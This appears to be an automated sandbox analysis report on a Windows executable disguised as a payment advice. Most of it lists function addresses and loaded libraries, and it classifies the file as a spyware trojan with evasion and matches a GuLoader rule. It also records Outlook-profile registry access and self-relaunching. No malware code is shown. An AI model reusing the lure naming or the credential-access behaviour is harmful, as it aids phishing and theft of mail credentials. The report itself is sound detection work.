Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CB2918	2_2_36CB2918
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CB2913	2_2_36CB2913
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CB1710	2_2_36CB1710
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CB9B10	2_2_36CB9B10
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CB8328	2_2_36CB8328
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CB8323	2_2_36CB8323
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CBF120	2_2_36CBF120
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CB6B3B	2_2_36CB6B3B
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CBD938	2_2_36CBD938
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CBD933	2_2_36CBD933
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE70C0	2_2_36CE70C0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CED710	2_2_36CED710
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE3EC0	2_2_36CE3EC0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE0CC0	2_2_36CE0CC0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE5AE0	2_2_36CE5AE0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE28E0	2_2_36CE28E0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE3880	2_2_36CE3880
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE0680	2_2_36CE0680
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE6A80	2_2_36CE6A80
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE54A0	2_2_36CE54A0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE22A0	2_2_36CE22A0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CEEE48	2_2_36CEEE48
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE3240	2_2_36CE3240
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE0040	2_2_36CE0040
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE6440	2_2_36CE6440
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE4E60	2_2_36CE4E60
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE1C60	2_2_36CE1C60
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE6A70	2_2_36CE6A70
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE5E00	2_2_36CE5E00
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE2C00	2_2_36CE2C00
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE4820	2_2_36CE4820
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE1620	2_2_36CE1620
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE003B	2_2_36CE003B
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE99C8	2_2_36CE99C8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE57C0	2_2_36CE57C0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE25C0	2_2_36CE25C0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE0FD9	2_2_36CE0FD9
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE41E0	2_2_36CE41E0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE0FE0	2_2_36CE0FE0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE5180	2_2_36CE5180
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE1F80	2_2_36CE1F80
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE6DA0	2_2_36CE6DA0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE3BA0	2_2_36CE3BA0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE09A0	2_2_36CE09A0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE4B40	2_2_36CE4B40
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE1940	2_2_36CE1940
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE6750	2_2_36CE6750
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE6760	2_2_36CE6760
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE3560	2_2_36CE3560
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE0360	2_2_36CE0360
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE4500	2_2_36CE4500
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE1300	2_2_36CE1300
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CED700	2_2_36CED700
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE3240	2_2_36CE3240
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE6120	2_2_36CE6120
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CE2F20	2_2_36CE2F20
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF1CF0	2_2_36CF1CF0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF8470	2_2_36CF8470
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFFB30	2_2_36CFFB30
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFD8D0	2_2_36CFD8D0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFA6D0	2_2_36CFA6D0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF1CE0	2_2_36CF1CE0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF04F9	2_2_36CF04F9
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFF4F0	2_2_36CFF4F0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF90F0	2_2_36CF90F0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFC2F0	2_2_36CFC2F0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF0E98	2_2_36CF0E98
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF0E93	2_2_36CF0E93
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFA090	2_2_36CFA090
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFD290	2_2_36CFD290
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFBCB0	2_2_36CFBCB0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF8AB0	2_2_36CF8AB0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFEEB0	2_2_36CFEEB0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF0040	2_2_36CF0040
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF9A50	2_2_36CF9A50
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFCC50	2_2_36CFCC50
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFE861	2_2_36CFE861
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFE870	2_2_36CFE870
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFB670	2_2_36CFB670
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF9410	2_2_36CF9410
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFF810	2_2_36CFF810
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFC610	2_2_36CFC610
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF1828	2_2_36CF1828
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF0028	2_2_36CF0028
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF1821	2_2_36CF1821
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFB030	2_2_36CFB030
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFE230	2_2_36CFE230
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF09CD	2_2_36CF09CD
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFF1D0	2_2_36CFF1D0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF09D0	2_2_36CF09D0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF8DD0	2_2_36CF8DD0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFBFD0	2_2_36CFBFD0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF35E9	2_2_36CF35E9
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFDBF0	2_2_36CFDBF0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFA9F0	2_2_36CFA9F0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFB990	2_2_36CFB990
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF8790	2_2_36CF8790
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFEB90	2_2_36CFEB90
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFA3B0	2_2_36CFA3B0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFD5B0	2_2_36CFD5B0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF1359	2_2_36CF1359
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFE550	2_2_36CFE550
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFB350	2_2_36CFB350
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF1360	2_2_36CF1360
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF9D70	2_2_36CF9D70
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFCF70	2_2_36CFCF70
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF0508	2_2_36CF0508
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFAD10	2_2_36CFAD10
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFDF10	2_2_36CFDF10
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF9730	2_2_36CF9730
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CFC930	2_2_36CFC930
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36D336F0	2_2_36D336F0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36D31470	2_2_36D31470
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36D33008	2_2_36D33008
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36D31B50	2_2_36D31B50
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36D347BA	2_2_36D347BA
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36D32238	2_2_36D32238
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36D30D88	2_2_36D30D88
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36D32920	2_2_36D32920
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36D336E1	2_2_36D336E1
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36D3145F	2_2_36D3145F
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36D33003	2_2_36D33003
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36D31B41	2_2_36D31B41
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36D32227	2_2_36D32227
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36D30040	2_2_36D30040
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36D30011	2_2_36D30011
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36D30D79	2_2_36D30D79
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36D30A10	2_2_36D30A10
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36D309E1	2_2_36D309E1
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36D32911	2_2_36D32911
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_373A5C13	2_2_373A5C13
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_373AB8D1	2_2_373AB8D1
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_373A1B4C	2_2_373A1B4C

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Code function: String function: 00402C41 appears 49 times

Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201080538.0000000033827000.00000004.00000010.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameUNKNOWN_FILET vs PayeeAdvice_HK54912_R0038704_37504.exe

Source: PayeeAdvice_HK54912_R0038704_37504.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/5@6/5

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

0_2_0040336C

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Code function: 0_2_004046FF GetDlgItem,SetWindowTextW,LdrInitializeThunk,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,LdrInitializeThunk,SetDlgItemTextW,

0_2_004046FF

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Code function: 0_2_00402104 LdrInitializeThunk,CoCreateInstance,LdrInitializeThunk,LdrInitializeThunk,

0_2_00402104

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry

Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

File created: C:\Users\user\AppData\Local\Temp\nsd378D.tmp

Jump to behavior

Source: PayeeAdvice_HK54912_R0038704_37504.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PayeeAdvice_HK54912_R0038704_37504.exe

ReversingLabs: Detection: 42%

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

File read: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process created: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process created: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: PayeeAdvice_HK54912_R0038704_37504.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000000.00000002.1876669136.000000000439B000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
